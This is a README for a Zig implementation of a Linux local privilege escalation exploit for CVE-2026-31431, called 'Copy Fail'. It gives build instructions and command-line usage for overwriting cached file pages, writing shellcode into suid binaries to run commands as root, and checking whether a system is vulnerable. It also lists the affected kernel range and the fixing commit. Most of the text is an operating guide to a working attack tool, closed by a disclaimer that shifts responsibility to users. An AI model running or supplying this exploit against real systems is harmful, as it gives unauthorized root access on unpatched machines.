Zig implementation of the 732 Byte proof of concept for the Copy Fail Linux LPE (CVE-2026-31431), which was disclosed by Theori / Xint on April 29th 2026 The writeup can be found at copy.fail.
This implementation has no runtime dependencies and can be run as a standalone binary.
Building the exploit requires zig version 0.16.0 or higher, which can be installed from ziglang.org. To build the exploit, run the following command in the terminal:
zig buildOptionally, it can be cross-built for a different Target e.g.
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmallor with uncompressed payloads
zig build -Dcompress=falseeither run the compiled binary or use zig to run it
zig-out/bin/copyfail
OR
zig build run$ zig-out/bin/copyfail
Usage:
run <path> <data> [offset] [-- args...] - Write data to the executable at the given offset (default 0) and run it
sudo <suid_path> [command...] - Runs a command as root by writing shellcode to a suid binary.
(the first argument of command must be the full path to program to run)
modify <path> <data> [offset] - Write data to the file at the given offset (default 0)
reset <path> - Reset the file to its original state
help - Show this message
The executable can be run with different commands:
run
first writes the provided data at the given offset (default 0) to the executable at the provided path, then runs it.
After the execution is finished, the file is reset to its original state using posix_fadvise.
Example:
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/shsudo
writes included shellcode to a suid binary and executes it to run a command as root.
The source code of the shellcode can be found in payloads/sudo.zig.
The first argument of the command must be the full path to the program as the shellcode does not search for the program to run.
After the execution is finished, the file is reset as in the run command.
Example:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
rootmodify
writes the provided data at the given offset (default 0) to the file at the provided path, without executing it.
After the modification, the file is NOT reset. Use the reset command to reset it.
Example:
copyfail modify /path/to/file "My new content" 1337reset
resets the file at the provided path to its original state using posix_fadvise. This discards the cached page and will read the content from disk when accessed again.
Example:
copyfail reset /path/to/fileis_vulnerable
checks if the system is vulnerable by creating a temporary file, writing test data to it, and reading it back to see if the data got corrupted.
Example:
$ copyfail is_vulnerable
warning: System is vulnerable
OR
info: System is not vulnerablehelp
prints the usage message.
Affected kernels (from copy-fail-c)
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
In between: every major distro kernel that didn't backport the fix.
Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable
in their stock cloud-image kernels at disclosure time. Distro-level
backports started rolling out around 2026-04-29 alongside the public
disclosure. To verify whether a target kernel is in-window, check whether
a664bf3d603d (or its distro-specific backport) is present in the kernel's
git log or the distro's changelog.
Discovery and original disclosure of CVE-2026-31431: Theori / Xint. Public writeup at copy.fail.
This zig implementation: Emmmmllll emil.sottek@gmail.com
The zig compiler and standard library: Zig Software Foundation on MIT terms https://codeberg.org/ziglang/zig.
The exploit and payload are published for security-research and defensive-detection purposes. Use against systems you do not own or have explicit authorization to test is your problem, not the author's.